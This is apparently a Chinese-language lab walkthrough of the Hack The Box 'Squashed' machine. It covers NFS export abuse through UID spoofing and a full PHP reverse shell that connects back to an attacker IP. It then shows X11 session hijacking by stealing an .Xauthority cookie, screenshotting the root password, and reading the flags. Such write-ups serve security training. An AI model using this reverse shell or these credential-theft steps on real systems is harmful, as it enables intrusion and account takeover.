一、信息搜集
nmap -sS -Pn -sC -sV 10.10.11.191
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-11 23:18 EST
Nmap scan report for 10.10.11.191
Host is up (0.30s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34451/udp6 mountd
| 100005 1,2,3 55211/udp mountd
| 100005 1,2,3 55495/tcp mountd
| 100005 1,2,3 56997/tcp6 mountd
| 100021 1,3,4 33261/tcp nlockmgr
| 100021 1,3,4 34669/tcp6 nlockmgr
| 100021 1,3,4 42525/udp6 nlockmgr
| 100021 1,3,4 57128/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.48 seconds
可以看到目标靶机主要开放了22,80,111,2049四个端口,我们可以先访问80端口看看
二、nfs利用
1.原理
它是一个客户端/服务器系统,允许用户通过网络访问文件,并将其视为留在本地文件目录中。它与SMB具有相同的作用,但无法与SMB通信。NFS协议没有身份验证或授权机制。授权来自文件系统的可用信息,其中服务器负责将客户端提供的用户信息转换为文件系统的用户信息,并将相应的授权信息尽可能正确地转换为UNIX所需的语法。
最常见的身份验证是通过UNIX UID/GID和组成员身份验证,这就是为什么此语法最可能应用于NFS协议的原因。一个问题是,客户端和服务器不一定必须具有相同的UID/GID到用户和组的映射。无法对服务器进行进一步检查。这就是为什么NFS只能在可信任的网络中与此身份验证方法一起使用。默认端口在2049。
2.利用
我们可以通过下面的命令来枚举靶机上的共享文件
└─# showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
可以发现nfs上有两个共享文件夹,我们接着使用下面的命令把远程目录挂载到本地目录上来
mount -t nfs 10.10.11.191:/var/www/html /root/桌面/squashed
mount -t nfs 10.10.11.191:/home/ross /root/桌面/squashed2
虽然文件被挂载过来了,但是无法读取。
└─# ll -a
总计 68
drwxr-xr-x 14 1001 1001 4096 3月 8日 14:42 .
drwxr-xr-x 7 root root 4096 3月 8日 16:52 ..
lrwxrwxrwx 1 root root 9 10月20日 21:24 .bash_history -> /dev/null
drwx------ 11 1001 1001 4096 10月21日 22:57 .cache
drwx------ 12 1001 1001 4096 10月21日 22:57 .config
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Desktop
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Documents
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Downloads
drwx------ 3 1001 1001 4096 10月21日 22:57 .gnupg
drwx------ 3 1001 1001 4096 10月21日 22:57 .local
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Music
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Pictures
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Public
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Templates
drwxr-xr-x 2 1001 1001 4096 10月21日 22:57 Videos
lrwxrwxrwx 1 root root 9 10月21日 21:07 .viminfo -> /dev/null
-rw------- 1 1001 1001 57 3月 8日 14:42 .Xauthority
-rw------- 1 1001 1001 2475 3月 8日 14:42 .xsession-errors
-rw------- 1 1001 1001 2475 12月27日 23:33 .xsession-errors.old
查看文件夹权限及拥有者
ls -l
drwxr-xr-- 5 2017 www-data 4096 3月 8日 16:55 squashed
drwxr-xr-x 14 1001 1001 4096 3月 8日 14:42 squashed2
可以看到squashed
这个文件夹是属于www-data组中一个uid为2017的用户所拥有的.
现在,我们已经知道了一个uid为2017的用户有着网站源码根目录的权限,由于NFS没有任何身份验证或授权机制,可以推测共享文件所有者有着对目录本身的权限。所以只要我们也有了这个权限,就可以往网站目录写入一个反弹shell的文件,然后通过浏览器访问下就可以触发shell了。
所以接下来我们要用这个uid在本地创建一个用户,然后通过这个用户去访问文件夹.
先创建用户
useradd test
└─# cat /etc/passwd |grep test
test:x:1001:1001::/home/test:/bin/sh
创建的test用户的uid是1001,我们需要将它改成2017,通过下面的命令修改,同时也把gid改下
usermod -u 2017 test
groupmod -g 2017 test
└─# cat /etc/passwd |grep test
test:x:2017:2017::/home/test:/bin/sh
切换到test用户,并且写入shell。
php 反弹shell 生成地址[1]
cp shell.php ./squashed
shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.7';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
3.查看/etc/exports配置文件
通过google,我们不难知道nfs的配置文件在/etc/exports,所以我们可以打开看看有没有什么有用的信息
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/www/html *(rw,sync,root_squash)
/home/ross *(sync,root_squash)
我们可以看到,这两个共享都设置了root_squash,将试图以UID/GID 0(root)身份访问共享的用户降级为nfsnobody用户,从而防止攻击者上载设置了SUID位的二进制文件。一个类似的设置是all_squash,它将对所有用户应用相同的逻辑,本质上将所有人降级为nfsnobody。幸运的是,该配置尚未明确指定,因此我们可以模仿非root用户(就像我们上面那样)将文件写入目录。最后,我们可以看到,虽然为html目录设置了rw标志,但它在其他文件共享中不存在,这意味着即使我们成功地模仿了ross用户,也无法向其写入任何文件。
三、提权
我们之前获得了另一个文件夹,是uid为1001的用户才有权限访问的文件。现在,我们需要重复上面的过程,创建一个uid为1001的用户然后读取文件。
1.创建uid为1001的本地用户
useradd test1
usermod -u 1001 test1
groupmod -g 1001 test1
┌──(root㉿kali)-[~/桌面]
└─# cat /etc/passwd | grep test1
test1:x:1001:1001::/home/test1:/bin/sh
这样我们就获得了文件的读取权限,但还不能往里写文件
└─# ls -al
总计 68
drwxr-xr-x 14 test1 test1 4096 3月 8日 14:42 .
drwxr-xr-x 7 root root 4096 3月 8日 17:04 ..
lrwxrwxrwx 1 root root 9 10月20日 21:24 .bash_history -> /dev/null
drwx------ 11 test1 test1 4096 10月21日 22:57 .cache
drwx------ 12 test1 test1 4096 10月21日 22:57 .config
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Desktop
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Documents
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Downloads
drwx------ 3 test1 test1 4096 10月21日 22:57 .gnupg
drwx------ 3 test1 test1 4096 10月21日 22:57 .local
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Music
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Pictures
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Public
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Templates
drwxr-xr-x 2 test1 test1 4096 10月21日 22:57 Videos
lrwxrwxrwx 1 root root 9 10月21日 21:07 .viminfo -> /dev/null
-rw------- 1 test1 test1 57 3月 8日 14:42 .Xauthority
-rw------- 1 test1 test1 2475 3月 8日 14:42 .xsession-errors
-rw------- 1 test1 test1 2475 12月27日 23:33 .xsession-errors.old
2.X11
(1)原理
X11也叫做X Window系统,X Window系统 (X11或X)是一种 位图 显示的 视窗系统 。它是在 Unix 和 类Unix 操作系统 ,以及 OpenVMS 上建立图形用户界面 的标准工具包和协议,并可用于几乎所有已有的现代操作系统。服务器没有完整的桌面环境, 而某些软件需要图形界面观察效果。
Linux 本身是没有图形化界面的,所谓的图形化界面系统只不过中 Linux 下的应用程序。这一点和 Windows 不一样。Windows 从 Windows 95 开始,图形界面就直接在系统内核中实现了,是操作系统不可或缺的一部分。Linux 的图形化界面,底层都是基于 X 协议。
X 协议由 X server 和 X client 组成:
•X server 管理主机上与显示相关的硬件设置(如显卡、硬盘、鼠标等),它负责屏幕画面的绘制与显示,以及将输入设置(如键盘、鼠标)的动作告知 X client。•X client (即 X 应用程序) 则主要负责事件的处理(即程序的逻辑)。
举个例子,如果用户点击了鼠标左键,因为鼠标归 X server 管理,于是 X server 就捕捉到了鼠标点击这个动作,然后它将这个动作告诉 X client,因为 X client 负责程序逻辑,于是 X client 就根据程序预先设定的逻辑(例如画一个圆),告诉 X server 说:“请在鼠标点击的位置,画一个圆”。最后,X server 就响应 X client 的请求,在鼠标点击的位置,绘制并显示出一个圆。
许多时候 X server 和 X client 在同一台主机上,这看起来没什么。但是, X server 和 X client 完全可以运行在不同的机器上,只要彼此通过 X 协议通信即可。于是,我们就可以做一些“神奇”的事情,比如像本文开头谈到的,在本地显示 (X server),运行在服务器上的 GUI 程序 (X client)。这样的操作可以通过 SSH X11 Forwarding (转发) 来实现。X11 中的 X 指的就是 X 协议,11 指的是采用 X 协议的第 11 个版本。
参考:通过X11实现 Linux服务器图形化界面显示 - 李晓春 - 博客园 (cnblogs.com)[2]
.xauthority文件用于存储xauth在验证X会话时使用的cookie形式的凭据。一旦启动X会话,该cookie将用于验证与该特定显示器的连接。因此,因为我们可以使用新创建的用户test1,来窃取cookie,从而充当经过身份验证的ross用户,并与显示器交互。
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDQUnFAqKPIfrutKZrOTCCK
将其解码到靶机的/tmp文件夹中的文件中
echo AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDQUnFAqKPIfrutKZrOTCCK | base64 -d > /tmp/.Xauthority
然后设置将环境变量XAUTHORITY指向我们的cookie文件。
export XAUTHORITY=/tmp/.Xauthority
这样我们就可以用alex 用户 读取root用户的屏幕界面
(3)获取截图
我们现在可以与显示器交互了,因为我们基本上已经劫持了ross的会话。为了查看显示器上发生的情况,我们可以截屏并在本地打开它。要做到这一点,我们需要知道ross正在使用哪个显示器,这可以使用w命令完成。
我们可以看到使用的显示是0。考虑到这一点,在Linux系统中,我们可以可以用 xwd 进行 X-window 的截图,以获取当前状态下的屏幕截图。下面记录下几个简单的命令,方便日后使用。详情请参考 xwd 的文档。
截图并保存到指定文件。( -root 是直接截取整个屏幕,而不需要鼠标选择区域) xwd -root -out /tmp/xwd_test.xwd
或者也可以重定向输出 xwd -root > /tmp/xwd_test.xwd
查看截屏文件。xwud -in /tmp/xwd_test.xwd
使用 imageMagick 转换成常用图片格式。convert /tmp/xwd_test.xwd /tmp/xwd_test.png
这里我们使用命令
xwd -root -screen -silent -display :0 > /tmp/screen.xwd
-root: 选择整个屏幕
-screen: 发送截屏请求
-silent: 悄悄操作
-display: 连接到指定服务器
(4)下载图片
在/tmp目录中开启python服务器
$ cd /tmp
$ python3 -m http.server
使用在线工具将xwd文件转换为png图片https://onlineconvertfree.com/zh/convert/xwd/,获得root账号密码
root:cah$mei7rai9A
$ su root
Password: cah$mei7rai9A
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@squashed:/#
root@squashed:/# cat /root/root.txt
cat /root/root.txt
c8707774758b47xxxx
root@squashed:/# cat /home/alex/user.txt
cat /home/alex/user.txt
6a45ef26b6d64bfxxx
root@squashed:/#
References
[1]
php 反弹shell 生成地址: https://www.0le.cn/reverse/[2]
通过X11实现 Linux服务器图形化界面显示 - 李晓春 - 博客园 (cnblogs.com): https://www.cnblogs.com/lixiaochun/p/8547815.html
原文始发于微信公众号(IRTeam工业安全):靶机——Squashed
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论